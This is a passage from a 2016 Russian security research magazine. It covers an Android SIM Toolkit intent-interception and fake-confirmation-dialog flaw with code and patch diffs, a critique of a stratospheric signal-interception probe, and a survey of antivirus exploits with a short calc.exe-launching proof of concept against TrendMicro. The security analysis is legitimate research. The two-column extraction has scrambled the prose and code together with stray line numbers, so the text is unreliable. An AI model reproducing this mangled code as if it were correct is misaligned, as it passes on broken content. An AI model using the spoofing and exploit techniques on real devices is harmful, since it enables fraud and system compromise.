data = null; break; if (msg.obj != null) { } AsyncResult ar = (AsyncResult) msg.obj; if (cmdParams != null) { if (ar != null && ar.result != null) { if (rilMsg.mResCode == ResultCode.OK) { try { handleCommand(cmdParams, true); data = (String) ar.result; } else { } catch (ClassCastException e) { // for proactive commands that couldn't be decoded break; // successfully respond with the code generated by the 52 } // message decoder. } 54 sendTerminalResponse(cmdParams.mCmdDet, rilMsg.mResCode, } false, 0, null); 56 mMsgDecoder.sendStartDecodingMessageParams(new RilMessage } 58 (msg.what, data)); } 60 break; break; case MSG_ID_CALL_SETUP: 62 mMsgDecoder.sendStartDecodingMessageParams(new RilMessage 64 (msg.what, null)); Оба оператора switch приводят к вызову метода handleCommand(), 66 break; case MSG_ID_ICC_RECORDS_LOADED: однако второй параметр в каждом случае разный: 68 break; + — обычное уведомление, которое 70 case MSG_ID_RIL_MSG_DECODED: MSG_ID_EVENT_NOTIFY 72 handleRilMsg((RilMessage) msg.obj); не требует ответа от пользователя; 74 break; + MSG_ID_PROACTIVE_COMMAND — а это, как раз наоборот, тре- case MSG_ID_RESPONSE: 76 бует. handleCmdResponse((CatResponseMessage) msg.obj); 78 break; Переходим к handleCommand: 80 82 /** 84 Из всех типов сообщений нас интересует MSG_ID_RIL_­MSG_­ DECODED. * Handles RIL_UNSOL_STK_EVENT_NOTIFY or RIL_UNSOL_STK_PROACTIVE_ 86 COMMAND command 88 * from RIL. 90 * Sends valid proactive command data to the application using private void handleRilMsg(RilMessage rilMsg) { intents. 92 if (rilMsg == null) { * RIL_REQUEST_STK_SEND_TERMINAL_RESPONSE will be send back if the 94 return; command is 96 } * from RIL_UNSOL_STK_PROACTIVE_COMMAND. // dispatch messages */ 98 CommandParams cmdParams = null; private void handleCommand(CommandParams cmdParams, boolean 100 switch (rilMsg.mId) { isProactiveCmd) { 102 case MSG_ID_EVENT_NOTIFY: CatLog.d(this, cmdParams.getCommandType().name()); CharSequence message; case PLAY_TONE: 03 CatCmdMessage cmdMsg = new CatCmdMessage(cmdParams); break; 05 switch (cmdParams.getCommandType()) { case SET_UP_CALL: 07 case SET_UP_MENU: if ((((CallSetupParams) cmdParams).mConfirmMsg.text != null) 09 if (removeMenu(cmdMsg.getMenu())) { && (((CallSetupParams) cmdParams).mConfirmMsg.text. 11 mMenuCmd = null; equals(STK_DEFAULT))) { 13 } else { message = mContext.getText(com.android.internal.R.string. mMenuCmd = cmdMsg; SetupCallDefault); 15 } ((CallSetupParams) cmdParams).mConfirmMsg.text = message. 17 toString(); sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, 19 false, 0, null); } 21 break; break; 23 case DISPLAY_TEXT: case OPEN_CHANNEL: break; case CLOSE_CHANNEL: 25 case REFRESH: case RECEIVE_DATA: 27 // ME side only handles refresh commands which meant to case SEND_DATA: 29 // remove IDLE MODE TEXT. BIPClientParams cmd = (BIPClientParams) cmdParams; 31 cmdParams.mCmdDet.typeOfCommand = CommandType.SET_UP_IDLE_ /* Per 3GPP specification 102.223, M O DE_TEX T.value(); 33 * if the alpha identifier is not provided by the UICC, break; 35 * the terminal MAY give information to the user case SET_UP_IDLE_MODE_TEXT: * noAlphaUsrCnf defines if you need to show user 37 sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, confirmation or not false, 0, null); 39 */ break; 41 boolean noAlphaUsrCnf = false; case SET_UP_EVENT_LIST: 43 if (isSupportedSetupEventCommand(cmdMsg)) { try { 45 sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, noAlphaUsrCnf = mContext.getResources().getBoolean( false, 0, null); com.android.internal.R.bool.config_stkNoAlphaUsrCnf); 47 } else { } catch (NotFoundException e) { 49 sendTerminalResponse(cmdParams.mCmdDet, ResultCode. noAlphaUsrCnf = false; 51 BEYOND_TERMINAL_CAPABILITY, false, 0, null); } } if ((cmd.mTextMsg.text == null) && (cmd.mHasAlphaId || break; n o A l p h a Usr Cn f)) { case PROVIDE_LOCAL_INFORMATION: CatLog.d(this, "cmd " + cmdParams.getCommandType() + ResponseData resp; " with null alpha id"); switch (cmdParams.mCmdDet.commandQualifier) { // If alpha length is zero, we just respond with OK. case CommandParamsFactory.DTTZ_SETTING: if (isProactiveCmd) { resp = new DTTZResponseData(null); sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, null); false, 0, r esp); } else if (cmdParams.getCommandType() == break; CommandType.OPEN_CHANNEL) { 61 case CommandParamsFactory.LANGUAGE_SETTING: mCmdIf.handleCallSetupRequestFromSim(true, null); resp = new LanguageResponseData(Locale.getDefault(). } getLanguage()); return; sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, } false, 0, r esp); // Respond with permanent failure to avoid retry if break; default: // STK app is not present. sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, if (!mStkAppInstalled) { false, 0, null); CatLog.d(this, "No STK application found."); } if (isProactiveCmd) { 53 // No need to start STK app here. sendTerminalResponse(cmdParams.mCmdDet, 55 return; ResultCode.BEYOND_TERMINAL_CAPABILITY, 57 case LAUNCH_BROWSER: false, 0, null); if ((((LaunchBrowserParams) cmdParams).mConfirmMsg.text != return; 59 null) } 61 && (((LaunchBrowserParams) cmdParams).mConfirmMsg.text. } 63 equals(STK_DEFAULT))) { /* 65 message = mContext.getText(com.android.internal.R.string. * CLOSE_CHANNEL, RECEIVE_DATA and SEND_DATA can be launchBrowserDefault); 67 * delivered by either PROACTIVE_COMMAND or EVENT_NOTIFY. ((LaunchBrowserParams) cmdParams).mConfirmMsg.text = 69 * If PROACTIVE_COMMAND is used for those commands, message.toString(); 71 * send terminal response here. } */ 73 break; if (isProactiveCmd && 75 case SELECT_ITEM: case GET_INPUT: ((cmdParams.getCommandType() == CommandType.CLOSE_ 77 CHANNEL) || case GET_INKEY: 79 (cmdParams.getCommandType() == CommandType.RECEIVE_DATA) || break; (cmdParams.getCommandType() == CommandType.SEND_DATA))) { 81 case SEND_DTMF: sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, 83 case SEND_SMS: false, 0, null); 85 case SEND_SS: } case SEND_USSD: 87 break; if ((((DisplayTextParams)cmdParams).mTextMsg.text != null) 89 default: && (((DisplayTextParams)cmdParams).mTextMsg.text. CatLog.d(this, "Unsupported command"); 91 equals(STK_DEFAULT))) { return; 93 message = mContext.getText(com.android.internal.R.string. se n ding); } 95 mCurrntCmd = cmdMsg; ((DisplayTextParams)cmdParams).mTextMsg.text = message. 97 broadcastCatCmdIntent(cmdMsg); toString(); 99 } } 101 break; 103

// Мобильные угрозы positive research 2016

02 И, наконец, broadcastCatCmdIntent(): Это приложение называется SIM Toolkit (STK) и является частью стан- 04 дартного Android-фреймворка. 06 08 private void broadcastCatCmdIntent(CatCmdMessage cmdMsg) { 10 Intent intent = new Intent(AppInterface.CAT_CMD_ACTION); 18 mContext.sendBroadcast(intent); 20 } 22 24 А вот эта часть довольно занятная: 32 + STK CMD — команда в качестве объекта Parcelable. ... 34 Проблема заключается в том, что для отправки команды другому 36 приложению CatService использует неявный интент без ограничения 40 44 пользовать вредоносное приложение, не требующее дополнитель- 46 ных привилегий, для перехвата команд, отправляемых SIM-картой на телефон. Для этого необходимо лишь зарегистрировать receiver с действием android.intent.action.stk.command и получить STK CMD 50 Пример перехваченной команды:

22:08:37: Receive action: android.intent.action.stk.command Выше приведен фрагмент файла AndroidManifest.xml, относя- 22:08:37: STK CMD щийся к компоненту receiver. Как видно, компонент полностью 3100000063006F006D002E0061006E00640072006F00690064002E0069006E00740 экспортирован. Это позволяет не только перехватывать команды 0650072006E0061006C002E00740065006C006500700068006F006E0079002E0063 00610074002E0043006F006D006D0061006E006400440065007400610069006C007 SIM-карты, но и создавать при помощи вредоносных программ 62 3000000010000000100000021000000810000002E00000063006F006D002E00610 объект Parcelable, а затем отправлять его на com.android.stk. 06E00640072006F00690064002E0069006E007400650072006E0061006C002E0074 0065006C006500700068006F006E0079002E006300610074002E005400650078007 StkCmdReceiver. Receiver не проверяет отправителя, а действие 4004D006500730073006100670065000000000000000000000000000F000000330 android.intent.action.stk.command не объявлено в системном файле 0350035003700360032003000350032003200370038003900310030000000FFFFFF AndroidManifest.xml в качестве защищенного сообщения, что позво- FF00000000010000000100000001000000FFFFFFFFFFFFFFFFFFFFFFFF00000000 (com.android.internal.telephony.cat.CatCmdMessage) ляет мошенникам эмулировать отправку команд SIM-карты. Например: Это объект Parcelable в байтах. Преобразовав Hex в ASCII, вы полу- 1. SIM-карта запрашивает подтверждение некоторой операции, чите сообщение SIM-карты. скажем транзакции в интернет-банке, выводя на экран телефо- 52 на сообщение типа «Подтвердить транзакцию № 1234 на сум- 54 му 100 500 рублей» с двумя опциями — «ОК» и «Отмена». Код 56 Эмуляция на StkDialogActivity.java: 58 60 Однако это лишь половина уязвимости. Рассмотрим приложение, ко- 62 торое получает вот такое широковещательное сообщение: public void onClick(View v) { String input = null; 64 switch (v.g e tId()) { 66 case OK_BUTTON: 68 CatLog.d(LOG_TAG, "OK Clicked!, mSlotId: " + mSlo tId); 70 cancelTimeOut(); sendResponse(StkAppService.RES_ID_CONFIRM, true); 72 break; 74 case CANCEL_BUTTON: 76 CatLog.d(LOG_TAG, "Cancel Clicked!, mSlotId: " + mSlo tId); cancelTimeOut(); 78 sendResponse(StkAppService.RES_ID_CONFIRM, false); 80 break; 82 } 84 finish(); } 86 88 90 2. Если пользователь нажмет «ОК», будет вызвана команда 92 sendResponse(StkAppService.RES_ID_CONFIRM, true); 94 в противном случае — sendResponse(StkAppService.RES_ 96 ID_CONFIRM, false);. 98 3. Что, если при помощи действия android.intent.action. 100 stk.command создать такое же диалоговое окно с другим тек- 102 Вид сообщения 03 стом (поддельное) и вывести его на экран за несколько секунд - mContext.sendBroadcast(intent); + mContext.sendBroadcast(intent,"android.permission. 05 до генерации SIM-картой оригинального сообщения («Под- RECEIVE_STK_COMMANDS"); 07 твердить транзакцию № 1234 на сумму 100 500 рублей»)? В тек- } сте сообщения напишем «Нажмите ОК для закрытия», а кнопки 09 оставим те же — «ОК» и «Отмена». 11 @@ -868,7 +868,7 @@ 13 4. Пользователь не увидит оригинальный диалог с подтвержде- intent.putExtra(AppInterface.CARD_STATUS, cardPresent); 15 нием транзакции, пока не выберет одну из этих опций в под- CatLog.d(this, "Sending Card Status: " 17 дельном окне, так как все команды, требующие взаимодействия + cardState + " " + "cardPresent: " + cardPresent); 19 с пользователем, помещаются в очередь. - mContext.sendBroadcast(intent); 21 + mContext.sendBroadcast(intent,"android.permission. 5. SIM-карта ожидает ответа от пользователя, Android показывает RECEIVE_STK_COMMANDS"); 23 пользователю первый (поддельный) диалог. } 25 Если нажать «ОК», будет вызван метод sendResponse() с флагом 27 private void broadcastAlphaMessage(String alphaString) { «true» и SIM-карта получит команду «ОК», как если бы она была от- 29 @@ -877,7 +877,7 @@ правлена из оригинального диалога. Даже если пользователь вы- intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND); 31 берет во втором окне опцию «Отмена», это никак не повлияет на intent.putExtra(AppInterface.ALPHA_STRING, alphaString); 33 предыдущую команду. SIM-карта воспримет это как новый отклик, intent.putExtra("SLOT_ID", mSlotId); 35 которого она не ожидает. В исходниках мне удалось найти описание - mContext.sendBroadcast(intent); 37 подобной ситуации: + mContext.sendBroadcast(intent,"android.permission. 39 RECEIVE_STK_COMMANDS"); } 41 43 private void handleCmdResponse(CatResponseMessage resMsg) { @Override // Make sure the response details match the last valid command. 45 // An invalid response is a one that doesn't have a corresponding 47 // proactive command and sending it can "confuse" the baseband/ril. 49 // One reason for out of order responses can be UI glitches. For /platform/frameworks/base/ : 51 // For example, if the application launch an activity, and that // activity is stored by the framework inside the history stack. --- a/core/res/AndroidManifest.xml // That activity will be available for relaunch using the latest +++ b/core/res/AndroidManifest.xml // application dialog (long press on the home button). @@ -303,6 +303,11 @@ // Relaunching that activity can send the same command's result // with the SIM. This can happen in case of non-interactive type // Stk framework would have already sent Terminal Response // to Setup Event List and SETUP_MENU proactive commands. After + 63 // In which case, the response details doesn't match with last + // allow Stk framework to send the message to ICC. + + имеет соответствующей проактивной команды и отправка которого + может "сбить с толку" baseband/ril». На деле, если RIL или SIM-карта будут получать от вас неожиданные отклики, последствия могут быть 53 непредсказуемыми. В ходе моего исследования несколько SIM-карт @@ -2923,6 +2928,9 @@ 55 вышло из строя, так и не загрузив меню. android:description="@string/ permdesc_bindCarrierMessagingService" 57 android:protectionLevel="signature|system" /> 59 Заключение 61 + 65 Nexus-устройств (сборка LMY48I). + 67 71 75

--- a/src/java/com/android/internal/telephony/cat/CatService.java 77 +++ b/src/java/com/android/internal/telephony/cat/CatService.java 79 For /platform/packages/apps/Stk/ : @@ -501,7 +501,7 @@ 81 intent.putExtra("STK CMD", cmdMsg); --- a/AndroidManifest.xml intent.putExtra("SLOT_ID", mSlo tId); 83 +++ b/AndroidManifest.xml CatLog.d(this, "Sending CmdMsg: " + cmdMsg+ " on slotid:" + 85 @@ -24,6 +24,7 @@ mSlo tId); 87 - mContext.sendBroadcast(intent); 89 + mContext.sendBroadcast(intent,"android.permission. 91 } 93 + 97 @@ -514,7 +514,7 @@ mCurrntCmd = mMenuCmd;

// Мобильные угрозы positive research 2016

02 04 Зонд для слежки за дронами: 06 08 10 разоблачаем сенсацию 12 14 16 18 Павел Новиков, Зарубежные СМИ опубликовали информацию о проекте «аэрокос- 20 Александр Лашков мического зонда», который может быть использован для перехвата 22 habrahabr.ru/company/pt/blog/267871/ данных радиообмена различных летательных устройств, в том числе дронов (bit.ly/1SMmQHV). Сегодня мы рассмотрим техническую сто- 24 рону этого проекта. 26 28 30 32 34 36 38 40 42 44 46 48 50

64 Вид с камеры зонда с наложенной перехваченной информацией Шпионский зонд

Исследователи из проекта Critical Engineering описали строение Как заявляют сами исследователи, цель их проекта заключается в зонда Deep Sweep: он представляет собой шарообразный акрило- создании нового способа сбора данных о работе высокотехнологич- вый контейнер со специальным оборудованием, который поднима- ных устройств, летающих над землей (и часто принадлежащих госу- ется на высоту с помощью заполненного гелием шара диаметром 2,4 дарству) — дронов, спутников и высотных самолетов-разведчиков. метра. 52 По словам одного из исследователей Джулиана Оливера, все устрой- На устройстве установлены три антенны, «слушающие» частоты ство стоит меньше 300 долларов — и еще 200 долларов уходит на 54 разных диапазонов, специальный радиософт, камера GoPro и GPS- шар и гелий для него: «Мы хотели создать недорогую платформу, 56 модуль, различные сенсоры. Для интеграции всех составных частей которую каждый мог бы использовать для изучения высотных сигна- 58 используются плата Arduino, USB-хаб и миникомпьютер Intel Edison. лов. Хорошо иметь интерфейс для чтения сигналов, которые пере- 60 даются в небе над нами, это позволит понимать, что вообще в мире Зонд поднимается на заданную высоту в 24 километра и начинает пе- 62 происходит». 64 рехватывать и записывать информацию радиообмена. Затем устрой- ство приземляется, его подбирают и анализируют записи. На данный момент команда осуществила два тестовых запуска Deep 66 Sweep. 68 70 Надувшись почти в 10 раз больше первоначального объема и до- 72 стигнув заданной высоты, шар с гелием взрывается, а контейнер 74 выбрасывает парашют и начинает снижаться. В зонд встроена SIM- 76 карта, и после приземления он отправляет своим создателям SMS- сообщение с информацией о местоположении. 78 80 82 84 86 88 90 92 94 96 98 100 102 03 В ходе тестов не все было идеально: при одном из запусков с тер- столько же. За 4–5 часов полета зонд может улететь на 30–200 км от 05 ритории Германии устройство приземлилось в Польше. При этом точки запуска, в зависимости от ветра: на высоте он может дуть в лю- его батареи не хватило на весь полет, и собранные данные были по- бую сторону, так что предугадать направление полета невозможно. 07 теряны. В другой раз зонд потерял сигнал сотовой сети и «поймал» На земле достаточное количество охраняемых (и просто частных) 09 его только на следующее утро (однако, в целом полет был признан объектов, при приземлении на которые зонд к владельцам вполне 11 успешным). может и не вернуться. 13 15 В сети опубликованы собранные в ходе второго запуска данные (bit. Температура в стратосфере может достигать −70, а влажность при 17 ly/1nIFJhU), а также их визуализация (zeigma.com/deepsweep). пролете облаков — 100%, что негативно сказывается на работе электроники и аккумуляторов. На высоте выше 10 км может не рабо- 19 тать GPS (подобрать подходящий приемник можно только опытным 21 путем). 23 25 На высоте также «не ловится» сотовая связь. Поэтому временное 27 окно, в которое GSM-приемник должен найти сеть и успеть отпра- 29 вить свое местоположение, слишком мало — примерно в проме- жуток с высоты 500 метров до 50 метров; затем велик риск потерять 31 сеть, к примеру упав в лесу. 33 35 Кроме того, при бюджете в 300 долларов, вероятнее всего, был ис- 37 пользован набор из трех SDR RTL2832, каждая из которых позволяет 39 захватывать спектр шириной 3 МГц (итого 9 МГц). Для сравнения, ка- 41 нал 3G имеет ширину в 5 МГц, LTE — 1,4–20 МГц, один канал ТВ — от 5–14 МГц. При использовании более «серьезных» SDR потребуется 43 использование процессоров Core i7 с накопителем в несколько тера- 45 байтов и соответствующим аккумулятором. (Однако зонд не сможет 47 Исследователи планируют создать целое движение энтузиастов, ко- поднять больше пары килограмм.) 49 торые бы занимались сбором информации при помощи подобных 51 зондов. В ближайшее время они создадут инструкции, стандарти- Спутники летают на высоте минимум 200 км, геостационарные — на зирующие публикацию собранных данных. Джулиан Оливер при- высоте свыше 35 000 км, приближение к ним на 30 км никакого преи- знается, что они надеются перехватывать сеансы связи между спец- мущества в приеме не может дать в принципе. службами и летающими устройствами, которые могут заниматься Также спутники используют частоты от нескольких гигагерц, а чаще шпионажем. Исследователь говорит, что подобные переговоры, вне десятки гигагерц, в связи с особенностями атмосферы (мегагерце- всяких сомнений, должны быть зашифрованы — поэтому один толь- вые сигналы атмосфера либо отражает, либо поглощает, при этом ко перехват данных не позволит понять их суть. Однако это позволит для гигагерцевых сигналов она практически прозрачна). Таким обра- обнаруживать такие устройства — и в будущем, возможно, различать зом, SDR не могут поймать данные, передаваемые спутниками, кроме их типы. GPS-сигналов (диапазоны 1,57 и 1,2 ГГц). 65 Если говорить о шпионских беспилотниках, то они обычно управля- Не все так просто ются и передают данные направленными антеннами, и попасть в луч сигнала подобный зонд вряд ли когда-нибудь сможет. Несмотря на энтузиазм исследователей им придется столкнуться с Наконец, многие радиосистемы используют FHSS (псевдослучайную большим количеством трудноразрешимых проблем. Один из авто- перестройку рабочей частоты) для повышения помехоустойчивости, ров этой статьи несколько лет назад работал над проектом по запу- и на записанном участке спектра такую передачу различить крайне ску в стратосферу зондов для съемки фото и видео. Осуществить за- сложно. пуск с площадок метеостанций не удалось: метеорологи отказались 53 дать разрешение. В России запуск зондов в стратосферу требует со- Итак, мы серьезно сомневаемся, что авторам проекта удастся сде- 55 гласований. Купить в свободном доступе метеошары, используемые лать его массовым, повторяемым и добиться каких-либо реальных 57 метеостанциями, невозможно. (На eBay продаются просроченные результатов. Если вкратце, запуски таких зондов: версии, которые с высокой долей вероятности могут не взлететь до 59 + требуют сложных согласований; нужной высоты.) 61 + крайне рискованны (велика вероятность потерять зонд); 63 Существуют и другие технические проблемы: до высоты 30—40 км + затратны (стоимость поиска приземлившегося аппарата может 65 шар летит около двух часов, а затем с парашютом снижается еще сильно превысить стоимость его производства). 67 69 71 73 75 Новые стандарты по описанию и классификации уязвимостей 77 79 81 В сентябре 2015 года Росстандарт принял два стандарта по описанию и классификации уязвимостей — ГОСТ Р 56545-2015 и ГОСТ Р 56546-2015. Документы разрабатывались Центром безопасности информации при активном участии экспертов 83 Positive Technologies и вступили в силу с апреля 2016 года. ГОСТ Р 56545-2015 «Защита информации. Уязвимости информа- 85 ционных систем. Правила описания уязвимостей» определяет состав сведений об уязвимостях, которые разработчики 87 средств контроля защищенности должны включать в базу данных своих решений. При этом документ учитывает уже име- 89 ющуюся практику и инструменты описания уязвимостей, такие как CWE, OVAL и CVSS. Второй документ (ГОСТ Р 56546-2015 91 «Защита информации. Уязвимости информационных систем. Классификация уязвимостей») определяет наиболее распро- 93 страненные типы уязвимостей, позволяя унифицировать терминологию, используемую пентестерами. Наличие таких стан- 95 дартов позволит привести к единым правилам рынок средств контроля защищенности и услуг по выявлению недостатков 97 безопасности информационных систем. 99 101 103

// Мобильные угрозы positive research 2016

02 04 Обзор уязвимостей 06 08 10 антивирусных продуктов 12 14 16 за I квартал 2016 года 18 20 22 24 Андрей Артюшкин 26 28 30 32 34 36 38 40 42 Тренд — эксплуатация антивирусов 44 46 Большинство людей не рассматривают средства антивирусной за- На графике показано количество найденных уязвимостей в извест- 48 щиты как источник дополнительной угрозы. Антивирусы воспри- ных антивирусных продуктах за каждый год в течение последних 50 нимаются как доверенные приложения, которые за счет некоторых 15 лет. В начале нулевых годов материалы об уязвимостях в средствах потерь производительности способны обеспечить защиту информа- антивирусной защиты появлялись крайне редко, а за прошедший год ционной системы от самых разных атак. В результате часто антивирус было опубликовано больше полусотни эксплойтов, большая часть оказывается единственным средством защиты конечных пользовате- которых основана на критически опасных уязвимостях антивирусов лей, а связка из нескольких антивирусов — основным решением для и связана с обходом аутентификации, повышением привилегий и безопасности предприятия. удаленным выполнением кода. Как и любые сложные программные продукты, антивирусы подвер- Помимо независимых исследователей начиная с 2014 года к по- жены уязвимостям. Процессы антивирусных продуктов, как правило, иску уязвимостей в средствах защиты подключилась команда 66 являются доверенными и выполняются в привилегированном режи- Google Project Zero. Они нашли значительную часть опубликован- ме: это делает антивирусы интересной мишенью для злоумышленни- ных за прошедший год уязвимостей в антивирусах. Закономерно, ков, поскольку их эксплуатация может приводить к компрометации что правительственные организации тоже проявляют интерес к всей системы. данной теме: в прессе встречаются, в частности, упоминания об исследованиях российских антивирусов, проводимых западными Современные злоумышленники активно эксплуатируют уязвимости спецслужбами. нулевого дня, включая и уязвимости в средствах защиты. В послед- ние годы наблюдается рост интереса к уязвимостям защитного ПО Сложно делать точные прогнозы о том, как будет развиваться да- вообще и антивирусов в частности. Исследователи находят критиче- лее тенденция к поиску уязвимостей средств защиты, но некоторые ски опасные уязвимости как в топовых антивирусных продуктах, так предположения можно сделать на основании опубликованных не- 52 и в средствах защиты менее известных вендоров. Об усилении инте- давно эксплойтов. Их краткие описания представлены ниже. 54 реса ко взлому антивирусов говорит рост числа эксплойтов, опубли- 56 кованных на exploit-db и подобных ресурсах. 58 Атаки с использованием уязвимых 60 антивирусов 62 64 11 января 2016 года исследователь Tavis Ormandy из команды 66 Google Security Research обнаружил критически опасную уязвимость 68 антивируса TrendMicro, приводящую к удаленному выполнению кода. 70 60 При установке антивируса по умолчанию устанавливается ком- 72

2015 | 53 понент Password Manager, который прописывается установ- 74 щиком в автозагрузку. Этот модуль написан на JavaScript с ис- 50 76 пользованием node.js. Он открывает множество RPC-портов для 78 обработки API-запросов по HTTP. Уязвимость была найдена в API-

80 40 2010 | 39 функции openUrlInDefaultBrowser, которая вызывает ShellExecute() 82 без проверки передаваемых аргументов, тем самым допуская выпол- 2012 | 34 84 нение произвольного кода. 86 30

88 X = NEW XMLHTTPREQUEST() 90 X.OPEN(«GET», «LOCALHOST:49155/API/

20 2011 | 17 2013 | 17 2008 | 16 2009 | 16 2014 | 16 OPENURLINDEFAULTBROWSER?URL=C:/WINDOWS/SYSTEM32/CALC.EXE TRUE); 92

2007 | 13 TRY { X.SEND(); } CATCH (E) {}; 94

96 10 2006 | 8 98 Патч выпустили через неделю после обращения. 2004 | 3 2005 | 3 2003 | 1 100 2002 | 0 exploit-db.com/exploits/39218 102 0 03 12 января специалисты из австрийской компании SEC Consult опу- приводила к RCE с привилегиями NT\_AUTHORITY\SYSTEM. Патч вы- 05 бликовали отчет об успешном обходе защиты McAfee Application пущен 18 марта. Control. Это приложение запрещает запуск приложений, не опре- 07 exploit-db.com/exploits/39600 деленных в белом списке, и предназначено прежде всего для за- 09 щиты критически важных инфраструктур. Рассматривалась версия 11 19 марта опубликован отчет о критически опасной уязвимости 6.1.3.353 под Windows. Были найдены способы запуска неавторизо- 13 в антивирусе Comodo. Этот продукт включает в себя x86-эмулятор, ванных приложений в обход защиты, методы запуска произвольного 15 используемый для автоматической распаковки и мониторинга об- кода, методы обхода программного DEP, реализованного в McAfee 17 фусцированных исполняемых файлов. Предполагается, что эмулятор Application Control, обхода UAC при включенной защите продук- исполняет вредоносный код безопасно в течение небольшого про- 19 та McAfee, обход защиты от записи в белый список. В довершение межутка времени, тем самым давая сэмплу распаковаться или выя- 21 были найдены уязвимости драйвера swin1.sys, приводящие к сбою вить какой-нибудь интересный для детектирования поведенческий 23 системы. признак. 25 exploit-db.com/docs/39228.pdf 27 Помимо проблем, связанных с повреждением памяти, при работе 29 эмулятора было обнаружено, что аргументы некоторых опасных 19 февраля исследователь Fitzl Csaba написал proof-of-concept, эмулируемых API-вызовов передаются в реальные API-функции во 31 эксплуатирующий уязвимость в популярном индийском антивирусе время сканирования. Несколько оберток просто извлекают аргу- 33 QuickHeal 16.00. Драйвер webssx.sys оказался подвержен CVE-2015- менты из эмулируемого адресного пространства и передают их на- 35 8285, эксплуатация которой приводит к повышению привилегий прямую в системные вызовы, при этом выполняясь с привилегиями 37 либо вызывает BSOD. Драйвер создается без флага FILE\_DEVICE\_ NT\_AUTHORITY\SYSTEM. Результаты вызовов затем возвращаются в 39 SECURE\_OPEN, что позволяет любому пользователю взаимодейство- эмулятор и выполнение кода продолжается. 41 вать с этим драйвером в обход ACL. Исследователь нашел IOCTL-код и нужный размер передаваемого драйверу буфера, приводящие к Это позволяет осуществлять различные сценарии атак, например 43 вызову уязвимой функции. Из-за недостаточной проверки получае- читать, удалять, перечислять и использовать криптографические 45 мых данных из входного буфера возникало целочисленное перепол- ключи, взаимодействовать со смарт-картами и другими устройства- 47 нение аргумента, передаваемого функции memcpy. ми. Это возможно, поскольку аргументы CryptoAPI-функций переда- 49 ются эмулятором напрямую реальным API. Другим примером угрозы 51 exploit-db.com/exploits/39475 стало чтение любых ключей реестра при использовании обертки над RegQueryValueEx, аргументы которой передаются реальной API 29 февраля хакер Greg Linares нашел уязвимость в модуле напрямую. GeekBuddy антивируса Comodo, приводящую к локальному повы- шению привилегий. Модуль GeekBuddy при выполнении запускает Этот вектор атаки весьма показателен, поскольку атакующий может несколько процессов, один из которых пытается подгрузить библи- вызвать выполнение вредоносного кода в эмуляторе — просто по- отеку shfolder.dll. Поскольку вместо абсолютного пути в файле, запу- слав жертве электронное письмо или направив ее по ссылке на зара- скаемом GeekBuddy, жестко задано только имя библиотеки — воз- женный сайт. Патч, исправляющий уязвимость, был выпущен 22 марта. можна подмена dll. Если поместить вредоносную shfolder.dll в C:\ exploit-db.com/exploits/39599 67 ProgramData\Comodo\lps4\temp\ и запустить обновление клиента или дождаться, пока оно запустится автоматически, пользователь 14 марта 2016 обнаружена критически опасная ошибка в анти- может повысить привилегии до уровня SYSTEM и полностью ком- вирусном движке Comodo. Исполнение произвольного кода было прометировать систему. возможно при распаковке антивирусом вредоносных файлов защи- exploit-db.com/exploits/39508 щенных протектором Packman. Packman — малоизвестный паков- щик с открытым исходным кодом, Comodo распаковывает его в ходе 4 марта Google Security Research продолжила публиковать уязви- сканирования. мости антивируса Avast. На этот раз была закрыта ошибка, связанная При обработке файлов, сжатых этим паковщиком с определенными с повреждением памяти при парсинге цифровых сертификатов. Tavis 53 опциями, параметры сжатия считываются напрямую из входного Ormandy создал исполняемый PE-файл, при сканировании которого 55 файла без валидации. При помощи фаззинга было выявлено, что в Avast «падал» с ошибкой. По словам исследователя, ошибка связана с 57 функции CAEPACKManUnpack::DoUnpack\_With\_NormalPack можно повреждением памяти при парсинге цифровой подписи файла. передать указатель pksDeCodeBuffer.ptr по произвольному адресу, 59 exploit-db.com/exploits/39530 что позволяет атакующему освободить функцией free() произволь- 61 ный адрес. Уязвимость позволяет злоумышленнику выполнять код с 63 7 марта Maurizio Agazzini опубликовал материал об очередной уяз- привилегиями NT\_AUTHORITY\SYSTEM. Патч вышел 22 марта. 65 вимости в продуктах McAfee. Исследователь написал эксплойт, по- 67 exploit-db.com/exploits/39601 зволяющий обходить ограничения безопасности антивируса McAfee 69 VirusScan Enterprise 8.8. Используя найденную уязвимость, пользова- 71 тель с правами локального администратора мог в обход ограниче- Антивирусы в изолированной среде 73 ний безопасности отключить антивирус — не зная его пароля. 75 Несмотря на уязвимости антивирусов совсем отказаться от их ис- Уязвимость была исправлена патчем от 25 февраля, хотя первые об- 77 пользования затруднительно. В тех случаях, когда требуется ана- ращения автора эксплойта в McAfee датируются осенью 2014 года. 79 лизировать большие объемы файлов, антивирусные движки справ- 81 exploit-db.com/exploits/39531 ляются с работой быстрее альтернативных решений (например, песочниц). Это достигается за счет развитого статического анализа. 83 16 марта критически опасная уязвимость обнаружена в антиви- 85 На наш взгляд, при построении эффективной системы защиты на русе Avira. Ожидается, что антивирус должен уметь гарантированно 87 основе антивирусных решений должны достигаться и точность обрабатывать PE-файлы. Тем не менее при тестировании антивируса 89 детектирования, и минимизация рисков, привносимых самим Avira в режиме сканирования PE-файлов была обнаружена уязви- 91 средством защиты. Точность и оперативность обнаружения угроз мость типа heap underflow. Ошибка воспроизводилась при парсинге 93 эффективно повышаются при помощи сканирования несколькими заголовков таблицы секций. Если заголовок секции имел слишком антивирусными движками. 95 большой RVA, Avira сохраняла вычисленное смещение в буфер на 97 куче и записывала в него данные, контролируемые атакующим (дан- Риски безопасности можно снизить, если запускать обработку вре- 99 ные из section->PointerToRawData в исходном файле). Уязвимость доносных файлов антивирусами в изолированной безопасной среде. 101 103

// уязвимости и атаки positive research 2016

